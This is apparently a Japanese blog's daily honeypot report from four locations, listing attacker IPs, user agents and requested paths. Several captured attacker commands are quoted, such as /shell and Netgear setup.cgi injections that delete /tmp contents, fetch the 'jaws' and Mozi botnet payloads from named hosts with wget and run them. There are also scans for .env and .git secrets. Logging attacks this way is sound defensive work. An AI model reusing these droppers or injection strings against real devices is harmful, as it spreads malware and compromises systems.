2023/05/17 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/05/17分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  103.188.166.164/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://122.241.141.73:39347/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:US

D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  5.255.111.128/jaws;
sh /tmp/jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
WordPressへのスキャン行為
5.188.210.227に関する不正通信
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  103.188.166.164/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget  5.255.111.128/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:SG

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
WordPressへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

他

アクセス数推移

JP：総アクセス数：217 (前日比：136)
US：総アクセス数：65 (前日比：-170)
UK：総アクセス数：95 (前日比：23)
SG：総アクセス数：100 (前日比：20)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	4.154.83.105	United States
1	5.188.210.227	Russia
2	5.253.115.140	United Kingdom
1	20.55.58.5	United States
1	23.251.102.74	United States
1	27.47.24.12	China
17	43.154.141.71	Singapore
1	44.202.65.153	United States
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.181.94	United States
1	45.79.181.104	United States
1	45.79.181.223	United States
3	45.79.181.251	United States
1	45.128.232.62	Bulgaria
71	54.91.124.183	United States
1	60.223.233.250	China
1	64.62.197.131	United States
1	64.62.197.135	United States
5	80.76.51.246	Bulgaria
2	80.94.92.60	Romania
1	87.121.221.49	Bulgaria
6	95.214.27.131	Bulgaria
1	101.0.42.61	India
1	104.192.0.50	United States
1	111.85.200.158	China
1	114.100.177.144	China
44	120.79.69.180	China
1	122.96.31.188	China
1	122.241.141.73	China
1	124.117.194.138	China
1	134.209.29.35	United States
6	135.125.217.54	France
7	135.125.246.189	France
1	156.197.11.92	Egypt
1	162.243.132.11	United States
1	162.243.140.41	United States
7	164.92.189.225	United States
1	167.94.145.60	United States
1	172.104.11.46	United States
1	172.105.128.12	United States
2	185.168.9.58	Germany
5	185.254.196.173	Ukraine
5	185.254.196.186	Ukraine
1	192.155.90.118	United States
1	192.241.223.18	United States
1	198.235.24.177	United States
1	205.210.31.24	United States
1	223.166.28.16	China

UserAgent一覧

件数	UserAgent
68	`-`
5	`Go-http-client/1.1`
2	`Hello, world`
11	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
72	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15`
17	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`python-requests/2.24.0`
1	`python-requests/2.25.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
1		`\x16\x03\x01\x01\x07\x01`
1		`\x16\x03\x01\x01\xfa\x01`
17		`\x16\x03\x01`
1	GET	`/.env.development`	HTTP/1.1
1	GET	`/.env.dist`	HTTP/1.1
1	GET	`/.env.old`	HTTP/1.1
1	GET	`/.env.prod`	HTTP/1.1
1	GET	`/.env.production`	HTTP/1.1
1	GET	`/.env.project`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
1	GET	`/.env`	HTTP/1.0
27	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.0
1	GET	`/.json`	HTTP/1.1
1	GET	`/.svn/`	HTTP/1.1
1	GET	`/?phpinfo=1`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
4	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin-app/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/cms/.env`	HTTP/1.1
2	GET	`/config.json`	HTTP/1.1
2	GET	`/config/settings/production.yml`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
3	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/enviroments/.env.production`	HTTP/1.1
1	GET	`/enviroments/.env`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fedex/.env`	HTTP/1.1
1	GET	`/frontend_dev.php/$`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
2	GET	`/info.php`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/live_env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/metrics`	HTTP/1.0
2	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/script/.env`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 103.188.166.164/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//122[.]241[.]141[.]73:39347/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/sources/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/v2/`	HTTP/1.0
1	GET	`/v3/time`	HTTP/1.1
1	GET	`http[:]//18[.]179[.]20[.]5:80/MyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/PHPMYADMIN/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/SQL/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/_phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/admin/phpmyadmin/scripts/setup.txt`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/admin/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/dbadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/myadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysql-admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysqladmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysqlmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/php-myadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/php/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.0.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.0/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.1.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.4/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.7/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.9.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.4/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.5-pl1/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.5/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.7-pl1/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.8.0.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpmy-admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/sqlmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/sqlweb/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/web/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/webadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/webdb/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/websql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
17	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/.env.development`	HTTP/1.1
1	POST	`/.env.dist`	HTTP/1.1
1	POST	`/.env.old`	HTTP/1.1
1	POST	`/.env.prod`	HTTP/1.1
1	POST	`/.env.production`	HTTP/1.1
1	POST	`/.env.project`	HTTP/1.1
1	POST	`/.env.save`	HTTP/1.1
1	POST	`/.env`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/admin-app/.env`	HTTP/1.1
1	POST	`/api/.env`	HTTP/1.1
1	POST	`/app/.env`	HTTP/1.1
1	POST	`/application/.env`	HTTP/1.1
1	POST	`/apps/.env`	HTTP/1.1
1	POST	`/back/.env`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cms/.env`	HTTP/1.1
1	POST	`/core/.env`	HTTP/1.1
1	POST	`/cp/.env`	HTTP/1.1
1	POST	`/development/.env`	HTTP/1.1
1	POST	`/docker/.env`	HTTP/1.1
1	POST	`/enviroments/.env.production`	HTTP/1.1
1	POST	`/enviroments/.env`	HTTP/1.1
1	POST	`/fedex/.env`	HTTP/1.1
1	POST	`/laravel/.env`	HTTP/1.1
1	POST	`/live_env`	HTTP/1.1
1	POST	`/local/.env`	HTTP/1.1
1	POST	`/private/.env`	HTTP/1.1
1	POST	`/rest/.env`	HTTP/1.1
1	POST	`/script/.env`	HTTP/1.1
1	POST	`/shared/.env`	HTTP/1.1
1	POST	`/sources/.env`	HTTP/1.1
1	POST	`/system/.env`	HTTP/1.1
1	USER	`anonymous`

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	14.231.13.153	Vietnam
3	20.55.58.5	United States
2	34.127.48.173	United States
2	34.141.21.213	United States
4	44.233.153.187	United States
1	45.33.80.243	United States
1	45.79.128.205	United States
1	45.79.181.94	United States
1	45.79.181.104	United States
1	45.79.181.251	United States
2	45.95.169.240	Croatia
1	45.128.232.121	Bulgaria
1	45.227.254.55	Belize
5	51.79.29.48	Canada
10	54.37.79.75	France
2	65.49.20.69	United States
1	87.121.221.49	Bulgaria
1	103.40.196.95	India
1	107.170.237.17	United States
2	109.237.97.180	Russia
1	117.243.241.169	India
1	128.1.248.26	United States
1	142.147.96.167	Canada
2	152.89.196.144	Russia
1	159.203.224.14	United States
2	162.142.125.214	United States
1	162.243.151.21	United States
1	167.71.143.89	United States
2	167.248.133.35	United States
2	167.248.133.50	United States
2	172.104.11.46	United States
2	172.104.11.51	United States
1	172.104.242.173	United States
1	172.105.128.11	United States
1	192.241.212.99	United States
1	194.165.16.10	Panama

UserAgent一覧

件数	UserAgent
24	`-`
2	`Abcd`
1	`Hello, World`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
20	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
4	`Mozilla/5.0 zgrab/0.x`
4	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfb\x01`
12		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
20	GET	`/.env`	HTTP/1.1
4	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 5.255.111.128/jaws;sh+/tmp/jaws`
2	OPTIONS	`/`	HTTP/1.0
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cn/cmd`	HTTP/1.1
1	POST	`/dvr/cmd`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
1	14.184.84.135	Vietnam
1	14.235.25.218	Vietnam
1	16.16.210.233	United States
1	27.215.208.47	China
2	45.79.181.94	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
2	45.128.232.121	Bulgaria
1	47.87.131.126	United States
7	51.79.29.48	Canada
9	54.37.79.75	France
1	60.186.102.120	China
1	64.62.197.138	United States
1	64.62.197.140	United States
2	66.175.213.4	United States
1	66.240.205.34	United States
1	87.121.221.49	Bulgaria
1	93.185.166.254	Russia
2	109.207.200.43	Ukraine
2	109.237.98.226	Russia
1	117.93.114.248	China
1	128.1.248.42	United States
1	134.122.135.178	Singapore
1	141.98.6.151	Bulgaria
1	144.126.224.134	United States
2	152.89.196.144	Russia
7	159.203.41.233	United States
2	162.142.125.121	United States
2	167.248.133.52	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.51	United States
1	172.104.242.173	United States
1	172.105.128.11	United States
14	178.33.47.143	France
4	185.163.109.66	Romania
1	192.155.90.118	United States
1	192.241.195.51	United States
1	192.241.196.4	United States
1	193.35.18.65	Bulgaria
1	194.165.16.37	Panama
1	194.165.16.76	Panama
1	197.62.49.188	Egypt
1	198.199.105.123	United States
1	198.199.108.188	United States
1	205.210.31.32	United States
1	205.210.31.89	United States
1	223.93.189.210	China
1	223.149.142.36	China

UserAgent一覧

件数	UserAgent
35	`-`
2	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.3.1 Safari/533.3`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
14	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
18	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
3	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
1		`MGLNDD_132.145.66.34_80\n`
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfc\x01`
17		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
2	CONNECT	`blank[.]org:443`	HTTP/1.1
18	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 103.188.166.164/jaws;sh+/tmp/jaws`
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 5.255.111.128/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/video/2578.html`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
3	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	13.49.229.195	United States
1	20.55.53.144	United States
2	20.221.204.12	United States
1	44.202.65.153	United States
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.104	United States
1	45.79.181.223	United States
1	45.79.181.251	United States
2	45.128.232.121	Bulgaria
9	51.79.29.48	Canada
7	54.37.79.75	France
2	65.49.20.67	United States
1	66.175.213.4	United States
5	80.76.51.246	Bulgaria
1	85.208.136.77	Bulgaria
1	87.121.221.49	Bulgaria
6	95.214.27.62	Bulgaria
1	104.28.244.86	United States
1	104.248.173.166	United States
1	107.170.251.19	United States
1	109.207.200.43	Ukraine
2	109.237.98.226	Russia
4	118.193.56.204	Hong Kong
1	128.1.248.26	United States
7	138.68.85.221	United States
2	152.89.196.144	Russia
2	162.142.125.11	United States
2	162.142.125.225	United States
1	162.243.142.25	United States
2	167.94.138.51	United States
1	172.104.11.4	United States
2	172.104.11.46	United States
1	172.104.11.51	United States
1	172.105.128.11	United States
1	172.105.128.12	United States
14	178.33.47.143	France
1	179.43.177.243	Panama
1	180.109.48.32	China
1	192.241.203.14	United States
1	194.165.16.37	Panama
1	194.165.16.73	Panama
1	198.235.24.67	United States
1	205.210.31.20	United States
1	207.148.4.79	United States

UserAgent一覧

件数	UserAgent
33	`-`
3	`Go-http-client/1.1`
6	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/80.0.180 Chrome/74.0.3729.180 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
14	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
17	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
